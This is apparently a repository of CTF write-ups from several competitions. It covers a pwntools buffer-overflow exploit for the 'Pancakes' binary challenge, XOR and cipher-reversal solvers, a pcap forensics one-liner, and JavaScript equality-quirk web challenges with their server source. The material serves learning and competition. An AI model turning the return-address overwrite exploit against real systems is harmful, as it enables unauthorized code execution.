-------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | OVERFLOW_OFFSET = 152 6 | SECRET_RECIPE_ADDRESS = 0x000000000040098b 7 | 8 | HOST = 'jh2i.com' 9 | PORT = 50021 10 | ELF_PATH = './pancakes' 11 | 12 | # p = remote(HOST, PORT) 13 | p = process(ELF_PATH) 14 | 15 | print(p.recv(1024).decode('latin-1')) 16 | 17 | # The pwn.fit() function creates the payload 18 | # by appending the address with as many characters as specified by the offset: 19 | payload = fit({OVERFLOW_OFFSET: p64(SECRET_RECIPE_ADDRESS)}) 20 | 21 | log.progress(f'Sending payload {payload.decode("latin-1")} ...') 22 | 23 | p.sendline(payload) 24 | 25 | p.interactive() 26 | -------------------------------------------------------------------------------- /2020/H@cktivityCon-CTF/Cryptography/Perfect XOR/README.md: -------------------------------------------------------------------------------- 1 | # Perfect XOR 2 | 3 | ## Problem 4 | 5 | > Can you decrypt the flag?

6 | Download the file below. 7 | 8 | [decrypt.py](decrypt.py) 9 | 10 | ## Solution 11 | 12 | We are given some Python code. If we run it, we can see that the flag is being printed, but it's awfully slow. 13 | 14 | ```console 15 | > ./decrypt.py 16 | flag{tHE_ 17 | ``` 18 | 19 | Looking at the code, we see that the `end` and `flush` arguments of `print()` are used to gradually print the flag without new lines appearing at every call of `print()`. We see that the next character is appended if `a(n)` returns `True`. 20 | 21 | Examining `a(n)`, we see that it takes an integer, `n`, and loops through all positive integers below it. If `n` is divisible by the current integer, `i`, `b` is incremented by the value of `i`. Finally, the function returns `True` if `b` is equal to `n`. 22 | 23 | So, `a(n)` checks if the sum of the positive divisors of an integer is equal to the value of the integer. It is checking if `n` is a [perfect number](https://en.wikipedia.org/wiki/Perfect_number). 24 | 25 | We can speed up the printing of the flag by manually supplying a list of perfect numbers, instead of relying on `a()` to find them. 26 | 27 | [Python script](solver.py) 28 | -------------------------------------------------------------------------------- /2020/H@cktivityCon-CTF/Cryptography/Perfect XOR/decrypt.py: -------------------------------------------------------------------------------- 1 | import base64 2 | n = 1 3 | i = 0 4 | cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" 5 | 6 | def a(n): 7 | b = 0 8 | for i in range(1, n): 9 | if(n % i == 0): 10 | b += i 11 | return b == n 12 | 13 | print("flag{", end='', flush=True) 14 | cipher = base64.b64decode(cipher_b64).decode().split(",") 15 | while(i < len(cipher)): 16 | if (a(n)): 17 | print(chr(int(cipher[i]) ^ n), end='', flush=True) 18 | i += 1 19 | n+=1 20 | 21 | print("}") 22 | -------------------------------------------------------------------------------- /2020/H@cktivityCon-CTF/Cryptography/Perfect XOR/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import base64 4 | 5 | cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" 6 | 7 | perfect_numbers = [ 8 | 6, 9 | 28, 10 | 496, 11 | 8128, 12 | 33550336, 13 | 8589869056, 14 | 137438691328, 15 | 2305843008139952128, 16 | 2658455991569831744654692615953842176, 17 | 191561942608236107294793378084303638130997321548169216, 18 | 13164036458569648337239753460458722910223472318386943117783728128, 19 | 14474011154664524427946373126085988481573677491474835889066354349131199152128, 20 | 23562723457267347065789548996709904988477547858392600710143027597506337283178622239730365539602600561360255566462503270175052892578043215543382498428777152427010394496918664028644534128033831439790236838624033171435922356643219703101720713163527487298747400647801939587165936401087419375649057918549492160555646976, 21 | 141053783706712069063207958086063189881486743514715667838838675999954867742652380114104193329037690251561950568709829327164087724366370087116731268159313652487450652439805877296207297446723295166658228846926807786652870188920867879451478364569313922060370695064736073572378695176473055266826253284886383715072974324463835300053138429460296575143368065570759537328128 22 | ] 23 | 24 | flag = 'flag{' 25 | cipher = base64.b64decode(cipher_b64).decode().split(",") 26 | 27 | i = 0 28 | while i < len(cipher): 29 | flag += chr(int(cipher[i]) ^ perfect_numbers[i]) 30 | i += 1 31 | 32 | flag += '}' 33 | print(flag) 34 | -------------------------------------------------------------------------------- /2020/H@cktivityCon-CTF/Cryptography/Tyrannosaurus Rex/README.md: -------------------------------------------------------------------------------- 1 | # Tyrannosaurus Rex 2 | 3 | ## Problem 4 | 5 | > We found this fossil. Can you reverse time and bring this back to life?

6 | Download the file below. 7 | 8 | [fossil](fossil) 9 | 10 | ## Solution 11 | 12 | We are given a Python source file with an encrypted flag and the function that was used to encrypt it. Our goal is to understand the encrypt function in order to be able to reverse it and decrypt the file. 13 | 14 | Looking at the encrypt function, we see that the flag is first converted to base 64, which is stored in the variable `e`. 15 | 16 | Then, `z`, a list of integers, is formed by XORing every two consecutive letters in `e`. The last letter is XORed with the first one, as indicated by the `% len(e)`. 17 | 18 | Finally, `z` is converted to hex using `binascii.hexlify()`. 19 | 20 | Since we know the flag format for this CTF, `flag{.*}`, we can run `base64.b64encode(b'flag')` to see how that would look like in base 64. We get `b'ZmxhZw=='`. The first character, `Z`, has decimal value `90`. 21 | 22 | Using this knowledge, we can reverse the encryption process and decrypt `z` from right to left. Since the last integer in `z` is the XOR of the last and first character in the base 64 representation of the flag, we can XOR `90` with the last character in `z` to get the last character of the flag. This works because the XOR operation has the following property: `A ^ A = 0`, therefore `A ^ A ^ B = B`. Using the last character of the flag, we can get the second-last character, and so on. 23 | 24 | This is the decrypt function: 25 | 26 | ```py 27 | def dec(ciphertext): 28 | z = list(binascii.unhexlify(ciphertext)) 29 | i = len(z) - 1 30 | e = b'' 31 | last = 90 # base64.b64encode(b'flag')[0] 32 | while i >= 0: 33 | last ^= z[i] 34 | e = chr(last).encode('utf-8') + e 35 | i -= 1 36 | f = base64.b64decode(e) 37 | return f 38 | ``` 39 | -------------------------------------------------------------------------------- /2020/H@cktivityCon-CTF/Cryptography/Tyrannosaurus Rex/fossil: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import base64 4 | import binascii 5 | 6 | h = binascii.hexlify 7 | b = base64.b64encode 8 | 9 | c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' 10 | 11 | def enc(f): 12 | e = b(f) 13 | z = [] 14 | i = 0 15 | while i < len(e): 16 | z += [ e[i] ^ e[((i + 1) % len(e))]] 17 | i = i + 1 18 | c = h(bytearray(z)) 19 | return c -------------------------------------------------------------------------------- /2020/H@cktivityCon-CTF/README.md: -------------------------------------------------------------------------------- 1 | # H@cktivityCon CTF 2020 Write-Ups 2 | 3 | HackerOne joins forces with John Hammond to deliver [H@cktivityCon CTF 2020](https://ctf.hacktivitycon.com/), a 48-hour competition with Jeopardy-style challenges in 12 categories. 4 | 5 | ## Index 6 | 7 | ### Binary Exploitation 8 | 9 | | Task | Points | 10 | |---------------------------------------------------------------------|:----------------:| 11 | | [Pancakes](Binary%20Exploitation/Pancakes) | 75 | 12 | 13 | ### Cryptography 14 | 15 | | Task | Points | 16 | |---------------------------------------------------------------------|:----------------:| 17 | | [Tyrannosaurus Rex](Cryptography/Tyrannosaurus%20Rex) | 100 | 18 | | [Perfect XOR](Cryptography/Perfect%20XOR) | 100 | 19 | -------------------------------------------------------------------------------- /2022/CCSC/README.md: -------------------------------------------------------------------------------- 1 | # Cyprus Cybersecurity Challenge 2022 Write-Ups 2 | 3 | The [Cyprus CyberSecurity Challenge (CCSC)](https://ccsc.org.cy/) is an annual CTF competition organized by the Cyprus Computer Society in cooperation with information security specialists from Cyprus. This year, the theme for the competition was [Rick and Morty](https://en.wikipedia.org/wiki/Rick_and_Morty). 4 | 5 | ## Index 6 | 7 | ### forensics 8 | 9 | | Task | Difficulty | 10 | |---------------------------------------------------------------------|:----------------:| 11 | | [The Citadel of Ricks](forensics/The%20Citadel%20of%20Ricks) | easy | 12 | 13 | ### misc 14 | 15 | | Task | Difficulty | 16 | |---------------------------------------------------------------------|:----------------:| 17 | | [CUBIK RICK](misc/CUBIK%20RICK) | easy | 18 | 19 | ### web 20 | 21 | | Task | Difficulty | 22 | |---------------------------------------------------------------------|:----------------:| 23 | | [Planet TC-39 #1](web/Planet%20TC-39%20%231) | easy | 24 | | [Planet TC-39 #2](web/Planet%20TC-39%20%232) | medium | 25 | -------------------------------------------------------------------------------- /2022/CCSC/forensics/The Citadel of Ricks/README.md: -------------------------------------------------------------------------------- 1 | # The Citadel of Ricks 2 | 3 | ## Problem 4 | 5 | We were given a `pcapng` file with a packet dump. 6 | 7 | [portal.pcapng](portal.pcapng) 8 | 9 | ## Solution 10 | 11 | I opened the file with Wireshark and saw that it contains around 1200 TCP, HTTP and DNS packets. 12 | 13 | The HTTP packets caught my attention immediately because many of them were POST requests. I added the filter `http.request.method == "POST"` to see only the POST packets. 14 | 15 | ![Wireshark screenshot showing the filter](wireshark1.png) 16 | 17 | It turned out that a bunch of dots was being POSTed each time: 18 | 19 | ![Wireshark screenshot showing the data being POSTed](wireshark2.png) 20 | 21 | The content length of the data being POSTed quickly caught my attention. Being a CTF player, I know that the decimal representation of upper-case characters in ASCII lies in the range `\[65–90\]` and lower-case characters in the range `\[97–122\]`. Most of the numbers were in these ranges, so I figured that this has to be the flag. 22 | 23 | I wrote the following bash one-liner to get the flag: 24 | 25 | ```bash 26 | strings portal.pcapng | grep "data=" | tail -n +2 | grep -o '[adt=.]*' | awk '{print length}' | while read -r line; do printf \\$(printf "%o" $line); done; 27 | ``` 28 | 29 | Explanation: 30 | 31 | - `strings portal.pcapng`: Prints all the printable-character strings in the `pcapng` file, one on each line. 32 | - `grep "data="`: Returns the lines that match the given pattern. 33 | - `tail -n +2`: Removes the first line, which was an empty message. 34 | - `grep -o '[adt=.]*'`: Keeps only the characters that match the pattern (there were some irrelevant characters on some lines). 35 | - `awk '{print length}'`: Prints the character length of each line. 36 | - `while read -r line; do printf \\$(printf "%o" $line); done;` Reads line by line and converts each line from decimal to an ASCII character (`printf` cannot do this directly so we first convert from decimal to octal and then from octal to ASCII character). 37 | -------------------------------------------------------------------------------- /2022/CCSC/forensics/The Citadel of Ricks/portal.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2022/CCSC/forensics/The Citadel of Ricks/portal.pcapng -------------------------------------------------------------------------------- /2022/CCSC/forensics/The Citadel of Ricks/wireshark1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2022/CCSC/forensics/The Citadel of Ricks/wireshark1.png -------------------------------------------------------------------------------- /2022/CCSC/forensics/The Citadel of Ricks/wireshark2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2022/CCSC/forensics/The Citadel of Ricks/wireshark2.png -------------------------------------------------------------------------------- /2022/CCSC/misc/CUBIK RICK/CUBIK_RICK_screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2022/CCSC/misc/CUBIK RICK/CUBIK_RICK_screenshot.png -------------------------------------------------------------------------------- /2022/CCSC/misc/CUBIK RICK/README.md: -------------------------------------------------------------------------------- 1 | # CUBIK RICK 2 | 3 | ## Problem 4 | 5 | We were given a webpage with the following text: 6 | 7 | ![CUBIK RICK screenshot](CUBIK_RICK_screenshot.png) 8 | 9 | ## Solution 10 | 11 | It was obvious that this was the representation of the faces of a 3x3 cube. In the beginning, I mistook the “O” characters for “0”s because they look narrow in this font. However, I then realized that there were some “0” characters which looked different. Once I became aware of this, I realized that we were talking about a Rubik’s cube. I had also missed a hint in the challenge title with the spelling of the word “cubic”. 12 | 13 | The first character in each pair of characters represents a color on the Rubik’s cube. So, this was a scrambled Rubik’s cube and solving it will probably reveal the flag. If I had a physical Rubik’s cube available, I could have put some stickers on it with the letters and solved it. But I didn’t. 14 | 15 | I found a website called Rubik’s Cube Solver and gave it the Rubik’s cube colors: 16 | 17 | Every scrambled Rubik’s cube can be solved in 20 moves or less. Unfortunately, this one required the maximum of 20 moves. The good news was that the website had a “Flat View” which showed how each move looked like on a 2D representation of the cube, which was what we were given in this challenge. 18 | 19 | I created a spreadsheet with the scrambled state of the Rubik’s cube: 20 | 21 | ![Spreadsheet Screenshot 1](spreadsheet1.png) 22 | 23 | Then, I went through the moves to solve the cube one by one, keeping track of the current and previous states. For example, after the first move: 24 | 25 | ![Spreadsheet Screenshot 2](spreadsheet2.png) 26 | 27 | It was a tedious process, but I managed to speed things up a bit by using the Paste Transposed feature of the spreadsheet program when working through some of the moves. 28 | 29 | In the end, I got the flag as expected: 30 | 31 | ![Spreadsheet Screenshot 3](spreadsheet3.png) 32 | -------------------------------------------------------------------------------- /2022/CCSC/misc/CUBIK RICK/spreadsheet1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2022/CCSC/misc/CUBIK RICK/spreadsheet1.png -------------------------------------------------------------------------------- /2022/CCSC/misc/CUBIK RICK/spreadsheet2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2022/CCSC/misc/CUBIK RICK/spreadsheet2.png -------------------------------------------------------------------------------- /2022/CCSC/misc/CUBIK RICK/spreadsheet3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2022/CCSC/misc/CUBIK RICK/spreadsheet3.png -------------------------------------------------------------------------------- /2022/CCSC/web/Planet TC-39 #1/README.md: -------------------------------------------------------------------------------- 1 | # Planet TC-39 \#1 2 | 3 | ## Problem 4 | 5 | We were given a webpage that looks like this: 6 | 7 | ![Planet TC-39 Screenshot](planet_tc39_1_screenshot.png) 8 | 9 | We were also given the back-end source code: 10 | 11 | [app.js](app.js) 12 | 13 | ## Solution 14 | 15 | We can insert 2 values, which are then POSTed to the back end. I used the Edit and Resend feature (Replay XHR in Chrome) of my browser to experiment with sending the payload directly, skipping any client-side validation or changes in the values. 16 | 17 | Looking at the source code, I saw that the 2 values are extracted from the payload. Then, the program exits if the values are not equal, or if the [reciprocals](https://en.wikipedia.org/wiki/Multiplicative_inverse) of the two values are equal. In other words, we need 2 values `a` and `b` where `a === b` but `1/a !== 1/b`. 18 | 19 | After trying out a few things in my browser console, I found that `var a = 'a'` and `var b = 'a'` satisfy these conditions. `1/'a' === 1/'a'` returns `false` because `1/'a'` resolves to `NaN`, and `NaN === NaN` returns `false`. 20 | -------------------------------------------------------------------------------- /2022/CCSC/web/Planet TC-39 #1/app.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const path = require('path') 3 | const app = express(); 4 | 5 | require('dotenv').config(); 6 | 7 | app.use(express.urlencoded({extended: true})); 8 | app.use(express.json()); 9 | app.use('/static', express.static(path.join(__dirname, 'static'))) 10 | 11 | const port = process.env.PORT || 3000; 12 | const nope = '🚫'; 13 | 14 | // PLANET-TC39-1 15 | app.get('/planet-tc39-1', (req, res) => res.sendFile(path.join(__dirname, 'views/planet-tc39-1.html'))); 16 | app.post('/planet-tc39-1', (req, res) => { 17 | const { a, b } = req.body; 18 | 19 | if (a !== b) { res.send(nope); return; } 20 | if (1/a === 1/b) { res.send(nope); return; } 21 | 22 | res.send(process.env.FLAG_1 || "No way. Contact an admin."); 23 | }); 24 | 25 | // PLANET-TC39-2 26 | app.get('/planet-tc39-2', (req, res) => res.sendFile(path.join(__dirname, '/views/planet-tc39-2.html'))); 27 | app.post('/planet-tc39-2', (req, res) => { 28 | const { a, b } = req.body; 29 | 30 | if (!Number.isSafeInteger(a)) { res.send(nope); return; } 31 | if (!Number.isSafeInteger(b)) { res.send(nope); return; } 32 | 33 | if (a !== b) { res.send(nope); return; } 34 | if (1/a === 1/b) { res.send(nope); return; } 35 | 36 | res.send(process.env.FLAG_2 || "No way. Contact an admin."); 37 | }); 38 | 39 | 40 | app.listen(port, () => console.log(`Planet-TC39 listening on port ${port}`)); -------------------------------------------------------------------------------- /2022/CCSC/web/Planet TC-39 #1/planet_tc39_1_screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2022/CCSC/web/Planet TC-39 #1/planet_tc39_1_screenshot.png -------------------------------------------------------------------------------- /2022/CCSC/web/Planet TC-39 #2/README.md: -------------------------------------------------------------------------------- 1 | # Planet TC-39 \#2 2 | 3 | ## Problem 4 | 5 | [app.js](app.js) 6 | 7 | ## Solution 8 | 9 | This is similar to [Planet TC-39 #1](../Planet%20TC-39%20%231/), but now there is a check that the 2 values should be safe integers. So, my previous solution of using identical strings does not work here. 10 | 11 | I was able to find a solution: `var a = 0` and `var b = -0`. `0 === -0` is `true`, but `1/0 === 1/-0` is `false` since `Infinity === -Infinity` is `false`. 12 | -------------------------------------------------------------------------------- /2022/CCSC/web/Planet TC-39 #2/app.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const path = require('path') 3 | const app = express(); 4 | 5 | require('dotenv').config(); 6 | 7 | app.use(express.urlencoded({extended: true})); 8 | app.use(express.json()); 9 | app.use('/static', express.static(path.join(__dirname, 'static'))) 10 | 11 | const port = process.env.PORT || 3000; 12 | const nope = '🚫'; 13 | 14 | // PLANET-TC39-1 15 | app.get('/planet-tc39-1', (req, res) => res.sendFile(path.join(__dirname, 'views/planet-tc39-1.html'))); 16 | app.post('/planet-tc39-1', (req, res) => { 17 | const { a, b } = req.body; 18 | 19 | if (a !== b) { res.send(nope); return; } 20 | if (1/a === 1/b) { res.send(nope); return; } 21 | 22 | res.send(process.env.FLAG_1 || "No way. Contact an admin."); 23 | }); 24 | 25 | // PLANET-TC39-2 26 | app.get('/planet-tc39-2', (req, res) => res.sendFile(path.join(__dirname, '/views/planet-tc39-2.html'))); 27 | app.post('/planet-tc39-2', (req, res) => { 28 | const { a, b } = req.body; 29 | 30 | if (!Number.isSafeInteger(a)) { res.send(nope); return; } 31 | if (!Number.isSafeInteger(b)) { res.send(nope); return; } 32 | 33 | if (a !== b) { res.send(nope); return; } 34 | if (1/a === 1/b) { res.send(nope); return; } 35 | 36 | res.send(process.env.FLAG_2 || "No way. Contact an admin."); 37 | }); 38 | 39 | 40 | app.listen(port, () => console.log(`Planet-TC39 listening on port ${port}`)); -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF Write-Ups 2 | 3 | SababaSec is a cybersecurity team composed of [hb20007](https://github.com/hb20007) and [mrbzs](https://github.com/Mrbzs). 4 | 5 | These are write-ups for CTFs we have participated in, as a team or individually. 6 | 7 | ## Index 8 | 9 | ### 2019 10 | 11 | | Name | No. of Write-Ups | 12 | |--------------------------------------------------------------------------|:----------------:| 13 | | [NACTF](2019/NACTF) | 12 | 14 | | [CSAW RED](2019/CSAW-RED) | 7 | 15 | | [Reply Cyber Security Challenge](2019/Reply-Cyber-Security-Challenge) | 4 | 16 | 17 | ### 2020 18 | 19 | | Name | No. of Write-Ups | 20 | |--------------------------------------------------------------------------|:----------------:| 21 | | [H@cktivityCon CTF](2020/H@cktivityCon-CTF) | 3 | 22 | 23 | ### 2022 24 | 25 | | Name | No. of Write-Ups | 26 | |--------------------------------------------------------------------------|:----------------:| 27 | | [Cyprus Cybersecurity Challenge](2022/CCSC) | 4 | 28 | --------------------------------------------------------------------------------